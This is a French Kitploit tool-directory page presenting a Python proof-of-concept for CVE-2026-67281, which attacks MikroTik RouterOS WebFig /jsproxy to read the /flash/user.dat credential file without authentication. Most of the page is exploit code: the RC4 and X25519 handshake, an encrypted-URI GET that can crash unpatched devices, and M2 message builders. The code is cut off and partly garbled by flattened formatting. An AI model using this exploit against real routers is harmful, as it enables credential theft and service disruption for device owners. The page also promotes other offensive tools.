Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Webfig-jsproxy-unauthenticated-file-read-CVE-2026-67281- — PoC Python pour CVE-2026-67281 : exploite RouterOS WebFig /jsproxy via un GET à URI chiffrée, un POST de message M2 et des chemins de traversée statiques pour lire /flash/user.dat. | Kitploit
Outils/GitHubGitHub/sohel160/webfig-jsproxy-unauthenticated-file-read-cve-2026-67281-
Sécurité des Systèmes EmbarquésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsSécurité WebSécurité Réseau
GitHub
Partager
sohel160/webfig-jsproxy-unauthenticated-file-read-cve-2026-67281-

Webfig-jsproxy-unauthenticated-file-read-CVE-2026-67281-

PoC Python pour CVE-2026-67281 : exploite RouterOS WebFig /jsproxy via un GET à URI chiffrée, un POST de message M2 et des chemins de traversée statiques pour lire /flash/user.dat.

Voir le dépôt
24il y a 1 moisPas encore vérifié

Webfig-jsproxy-unauthenticated-file-read-CVE-2026-67281-

#!/usr/bin/env python3

-- coding: utf-8 --

""" CVE-2026-67281 — variante de lecture de fichiers RouterOS WebFig /jsproxy.

Tente de lire /flash/user.dat via trois chemins de code indépendants :

Chemin A — GET à URI chiffrée (GET /jsproxy/?) Atteint nv::findFile après déchiffrement + authz. Plante sur une version 7.21.5 non corrigée à cause du bug de liste chaînée list_head de session ; devrait fonctionner après que MikroTik ait corrigé le DoS.

Chemin B — POST de message M2 (POST /jsproxy avec corps M2) Utilise nv::Handler::handle → checkAccess → is_allowed. Ne touche pas au chemin de déchiffrement qui plante. Nécessite le bon namespace cmd, que ce script énumère.

Chemin C — GET statique direct (GET /webfig/) Sert les fichiers statiques depuis /home/web/. Inclut des sondes de traversée de répertoire basiques contre la racine de service.

Chaque chemin est indépendant. Le script les exécute dans l'ordre et rapporte ce qui a fonctionné, sans réessayer après un plantage.

Usage en laboratoire autorisé uniquement. """

import hashlib import secrets import struct import sys import time

import requests from cryptography.hazmat.primitives.asymmetric.x25519 import ( X25519PrivateKey, X25519PublicKey) from cryptography.hazmat.primitives.serialization import ( Encoding, PublicFormat)

---------------------------------------------------------------------

Constantes du protocole

---------------------------------------------------------------------

MAGIC_SEND = (b"On the client side, this is the send key; " b"on the server side, it is the receive key.") MAGIC_RECV = (b"On the client side, this is the receive key; " b"on the server side, it is the send key.")

SAFE = set(b"ABCDEFGHIJKLMNOPQRSTUVWXYZ" b"abcdefghijklmnopqrstuvwxyz" b"0123456789-_.~")

Étiquettes de type de champ M2 (5 bits de poids fort de l'en-tête de champ de 4 octets)

FT_BOOL, FT_U32, FT_STRING, FT_RAW, FT_U32_ARRAY =
0 << 27, 1 << 27, 4 << 27, 6 << 27, 17 << 27 FS_SHORT, FS_LONG = 1 << 24, 1 << 25

---------------------------------------------------------------------

RC4-drop-768

---------------------------------------------------------------------

class RC4: def init(self): self.S = list(range(256)) self.i = self.j = 0

def set_key(self, key: bytes) -> None:
    if not key:
        raise ValueError("empty RC4 key")
    self.S = list(range(256))
    self.i = self.j = 0
    j = 0
    for i in range(256):
        j = (j + self.S[i] + key[i % len(key)]) & 0xff
        self.S[i], self.S[j] = self.S[j], self.S[i]
    for _ in range(768):
        self.gen()

def gen(self) -> int:
    self.i = (self.i + 1) & 0xff
    self.j = (self.j + self.S[self.i]) & 0xff
    self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
    return self.S[(self.S[self.i] + self.S[self.j]) & 0xff]

def crypt(self, data: bytes) -> bytes:
    return bytes(v ^ self.gen() for v in data)

---------------------------------------------------------------------

KDF / X25519

---------------------------------------------------------------------

def webfig_kdf(master: bytes, is_send: bool, is_server: bool) -> bytes: v = bytearray(master) v.extend(b"\x00" * 40) v.extend(MAGIC_RECV if is_send == is_server else MAGIC_SEND) v.extend(b"\xf2" * 40) return hashlib.sha1(v).digest()[:16]

def client_public(priv_raw: bytes) -> bytes: p = X25519PrivateKey.from_private_bytes(priv_raw[::-1]) return p.public_key().public_bytes( Encoding.Raw, PublicFormat.Raw)[::-1]

def shared_secret(priv_raw: bytes, srv_pub: bytes) -> bytes: p = X25519PrivateKey.from_private_bytes(priv_raw[::-1]) return p.exchange( X25519PublicKey.from_public_bytes(srv_pub[::-1]))[::-1]

---------------------------------------------------------------------

Encodage d'URI fidèle à JS

---------------------------------------------------------------------

def encode_uri_component(data: bytes) -> str: out = [] for b in data: if b in SAFE: out.append(chr(b)) elif b < 0x80: out.append(f"%{b:02X}") elif b < 0xC0: out.append(f"%C2%{b:02X}") else: out.append(f"%C3%{(b - 0x40):02X}") return "".join(out)

---------------------------------------------------------------------

Handshake

---------------------------------------------------------------------

def handshake(base: str, http: requests.Session, timeout=10.0): priv = secrets.token_bytes(32) pub = client_public(priv) r = http.post( base + "/jsproxy", data=b"\x00" * 8 + pub, headers={"Content-Type": "msg", "Accept-Language": "", "Connection": "close"}, timeout=timeout) if r.status_code != 200 or len(r.content) != 40: raise RuntimeError(f"handshake HTTP {r.status_code} len={len(r.content)}") sid = struct.unpack(">I", r.content[:4])[0] master = shared_secret(priv, r.content[8:40]) tx = RC4(); tx.set_key(webfig_kdf(master, True, False)) rx = RC4(); rx.set_key(webfig_kdf(master, False, False)) return sid, tx, rx

---------------------------------------------------------------------

Path A — encrypted-URI GET

---------------------------------------------------------------------

def path_a_encrypted_get(base, http, uri, timeout=10.0): """ GET /jsproxy/?. On unpatched targets, this crashes www. On patched targets, one of these URIs will return the file. """ result = {"path": "A_encrypted_get", "uri": uri, "status": None, "body": b"", "crashed": False, "error": None}

try:
    sid, tx, _ = handshake(base, http)
except Exception as e:
    result["error"] = f"handshake: {e!r}"
    return result

pt  = uri.encode("utf-8")
seq = 1
enc = tx.crypt(pt)
pad = tx.crypt(b" " * 8)
frame = struct.pack(">I", sid) + struct.pack(">I", seq) + enc + pad
url = base + "/jsproxy/?" + encode_uri_component(frame)

try:
    r = http.get(url, timeout=timeout)
    result["status"] = r.status_code
    result["body"] = r.content
except requests.exceptions.ConnectionError as e:
    result["crashed"] = True
    result["error"] = repr(e)
except requests.RequestException as e:
    result["error"] = repr(e)

return result

---------------------------------------------------------------------

Path B — M2 message POST

---------------------------------------------------------------------

def _field_id(idtype: int, name: str) -> bytes: n = int(name[1:], 16) return bytes((n & 0xff, (n >> 8) & 0xff, (n >> 16) & 0xff, (idtype >> 24) & 0xff))

def _u32_short(name, value): return _field_id(FT_U32 | FS_SHORT, name) + bytes((value & 0xff,))

def _u32_long(name, value): return _field_id(FT_U32, name) + struct.pack("<I", value & 0xffffffff)

def _u32arr(name, values): out = _field_id(FT_U32_ARRAY, name) + struct.pack("<H", len(values)) for v in values: out += struct.pack("<I", v) return out

def _str(name, s): raw = s.encode("utf-8") if len(raw) < 256: return _field_id(FT_STRING | FS_SHORT, name) +
bytes((len(raw),)) + raw return _field_id(FT_STRING, name) + struct.pack("<H", len(raw)) + raw

def _bool(name): return _field_id(FT_BOOL | FS_SHORT, name)

Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    851
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    538
  • 3

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    297
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Le système d'action pour la cybersécurité native IA—où l'intention devient une exécution gouvernée, les preuves deviennent une mémoire opérationnelle, et chaque opération améliore la suivante.

    280

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →